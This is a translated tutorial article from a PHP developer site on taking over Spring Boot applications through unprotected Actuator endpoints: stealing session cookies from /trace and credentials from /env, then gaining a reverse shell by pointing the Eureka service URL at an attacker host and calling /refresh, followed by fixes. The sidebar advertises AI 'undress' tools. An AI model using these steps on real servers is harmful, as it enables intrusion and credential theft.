亚洲国产日韩欧美一区二区三区,精品亚洲国产成人av在线,国产99视频精品免视看7,99国产精品久久久久久久成人热,欧美日韩亚洲国产综合乱

Table of Contents
Vulnerability Repair
Home Operation and Maintenance Safety Example analysis of Spring Boot Actuator's unauthorized access to getshell

Example analysis of Spring Boot Actuator's unauthorized access to getshell

May 23, 2023 am 08:56 AM
spring boot actuator getshell

Preface

The department boss dug this vulnerability in a certain src. It is an old hole. I thought it was interesting, so I set up a local environment to test it.

Actuator is a functional module provided by springboot for introspection and monitoring of application systems. With the help of Actuator, developers can easily view and collect statistics on certain monitoring indicators of the application system. When Actuator is enabled, if relevant permissions are not controlled, illegal users can obtain monitoring information in the application system by accessing the default actuator endpoints, leading to information leakage or even server takeover.

Actuator is a functional module provided by Spring Boot, which can be used for introspection and monitoring of application systems. The provided executor endpoints are divided into two categories: native endpoints and user-defined extension endpoints. The native endpoints mainly include:

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

utilization ideas

  1. Use env plus refresh to perform getshell

  2. Use mappings to find unauthorized interfaces

  3. Use trace to obtain authentication information (Cookie, Tooken, Session), and use the authentication information to access the interface.

  4. env may leak the database account password (mangodb). Of course, the external network must be opened, so the possibility is small.

  5. Foreigners say that sql statements can be executed, but I don’t understand it yet

Vulnerability discovery

Usually identify the framework used by the current web application as the springboot framework. There are two main ways to judge:

  1. Through the icon of the web application web page label (favicon.ico); if the web application developer has not modified the default icon of the springboot web application, then enter the application After the home page, you can see the following default green small icon:

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

  1. ##The default error page is reported through the springboot framework; if The web application developer has not modified the default 4xx and 5xx error pages of the springboot web application. Then when a 4xx or 5xx error occurs in the web application, the following error will be reported (only the 404 error page is used as an example here): Access a randomly constructed path , for example: http://172.26.2.24:8090/index. If the following error page appears, it means that the web website uses the springboot framework (most of the situations encountered in practice are like this).


Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Combining the above two ways to determine whether the current web application is a springboot framework is to access different directories to see if there are any small Green leaf icon, and then find a way to trigger the 4xx or 5xx error of the application in different directories to see if there is a Whitelabel Error Page error.

Exploiting the vulnerability


Access the /trace endpoint to obtain basic HTTP request tracking information (timestamp, HTTP header, etc.). If there is an operation request from a logged-in user, you can forge cookies to log in.

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Access the /env endpoint to obtain all environment attributes. Since the actuator will monitor database services such as mysql and mangodb on the site, sometimes mysql and mangodb database information can be obtained through monitoring information. If the database happens to be open on the public network, the harm caused is huge.

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

/env endpoint is improperly configured to cause RCE.

Prerequisite: Eureka -Client <1.8.7 (mostly seen in Spring Cloud Netflix)

For example, when testing the frontend json error report and leaking the package name, use netflix

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

The following two are required Package

spring-boot-starter-actuator (/refresh refresh configuration required)

spring-cloud-starter-netflix-eureka-client (functional dependency)

Use python3 When starting the script, you need to pay attention to two places, one is the ip and port for receiving the shell, and the other is the port for our script to start,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Nc listens to a port to receive the rebound shell,

Write the configuration, access the /env endpoint, capture the packet and change the get request to a post request. The post content is (the ip is the ip of the machine started by the script) :

eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Then visit /refresh, capture the packet and change the get request to Post request, post data is arbitrary,

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

# Then in our nc window you can see that a shell has been successfully bounced back.

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Vulnerability Repair

As a security dog, you can’t just dig without fixing, introduce spring-boot under the project’s pom.xml file -starter-security depends on

<dependency>
	<groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId>
</dependency><p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168480339634948.jpg" class="lazy" alt="Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析"></p>
<p> Then enable the security function in application.properties, configure the access account password, and restart the application to pop up. </p>
<pre class="brush:php;toolbar:false">management.security.enabled=true
security.user.name=admin
security.user.password=admin

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

To disable the interface, you can set it as follows (such as disabling the env interface):

endpoints.env.enabled = false

Question

Foreigners said that they can execute sql statements but found that they could not be executed. Maybe the method is not correct. I took a screenshot of his picture. I hope someone who can successfully execute it can share it. .

Spring Boot Actuator從未授權(quán)訪問到getshell的示例分析

In the actual environment, it is found that there are many no refreshes, resulting in the inability to execute the command. There is no breakthrough yet

The above is the detailed content of Example analysis of Spring Boot Actuator's unauthorized access to getshell. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

PHP Tutorial
1488
72
How to use Spring Boot to build big data processing applications How to use Spring Boot to build big data processing applications Jun 23, 2023 am 09:07 AM

With the advent of the big data era, more and more companies are beginning to understand and recognize the value of big data and apply it to business. The problem that comes with it is how to handle this large flow of data. In this case, big data processing applications have become something that every enterprise must consider. For developers, how to use SpringBoot to build an efficient big data processing application is also a very important issue. SpringBoot is a very popular Java framework that allows

Build desktop applications using Spring Boot and JavaFX Build desktop applications using Spring Boot and JavaFX Jun 22, 2023 am 10:55 AM

As technology continues to evolve, we can now use different technologies to build desktop applications. SpringBoot and JavaFX are one of the more popular choices now. This article will focus on how to use these two frameworks to build a feature-rich desktop application. 1. Introduction to SpringBoot and JavaFXSpringBoot is a rapid development framework based on the Spring framework. It helps developers quickly build web applications while providing a set of

Spring Boot+MyBatis+Atomikos+MySQL (with source code) Spring Boot+MyBatis+Atomikos+MySQL (with source code) Aug 15, 2023 pm 04:12 PM

In actual projects, we try to avoid distributed transactions. However, sometimes it is really necessary to do some service splitting, which will lead to distributed transaction problems. At the same time, distributed transactions are also asked in the market during interviews. You can practice with this case, and you can talk about 123 in the interview.

How to use Spring Boot to build blockchain applications and smart contracts How to use Spring Boot to build blockchain applications and smart contracts Jun 22, 2023 am 09:33 AM

With the rise of digital currencies such as Bitcoin, blockchain technology has gradually become a hot topic. Smart contracts can be regarded as an important part of blockchain technology. SpringBoot, as a popular Java back-end development framework, can also be used to build blockchain applications and smart contracts. This article will introduce how to use SpringBoot to build applications and smart contracts based on blockchain technology. 1. SpringBoot and blockchain First, we need to understand some basic concepts related to blockchain. Blockchain

Using WebSocket in Spring Boot to implement push and notification functions Using WebSocket in Spring Boot to implement push and notification functions Jun 23, 2023 am 11:47 AM

In modern web application development, WebSocket is a common technology for instant communication and real-time data transfer. The SpringBoot framework provides support for integrated WebSocket, making it very convenient for developers to implement push and notification functions. This article will introduce how to use WebSocket to implement push and notification functions in SpringBoot, and demonstrate the implementation of a simple real-time online chat room. Create a SpringBoot project First, we need to create a

Building an ESB system using Spring Boot and Apache ServiceMix Building an ESB system using Spring Boot and Apache ServiceMix Jun 22, 2023 pm 12:30 PM

As modern businesses rely more and more on a variety of disparate applications and systems, enterprise integration becomes even more important. Enterprise Service Bus (ESB) is an integration architecture model that connects different systems and applications together to provide common data exchange and message routing services to achieve enterprise-level application integration. Using SpringBoot and ApacheServiceMix, we can easily build an ESB system. This article will introduce how to implement it. SpringBoot and A

Spring Boot's task scheduling and scheduled task implementation methods Spring Boot's task scheduling and scheduled task implementation methods Jun 22, 2023 pm 11:58 PM

SpringBoot is a very popular Java development framework. It not only has the advantage of rapid development, but also has many built-in practical functions. Among them, task scheduling and scheduled tasks are one of its commonly used functions. This article will explore SpringBoot's task scheduling and timing task implementation methods. 1. Introduction to SpringBoot task scheduling SpringBoot task scheduling (TaskScheduling) refers to executing some special tasks at a specific point in time or under certain conditions.

Achieve multi-language support and international applications through Spring Boot Achieve multi-language support and international applications through Spring Boot Jun 23, 2023 am 09:09 AM

With the development of globalization, more and more websites and applications need to provide multi-language support and internationalization functions. For developers, implementing these functions is not an easy task because it requires consideration of many aspects, such as language translation, date, time and currency formats, etc. However, using the SpringBoot framework, we can easily implement multi-language support and international applications. First, let us understand the LocaleResolver interface provided by SpringBoot. Loc

See all articles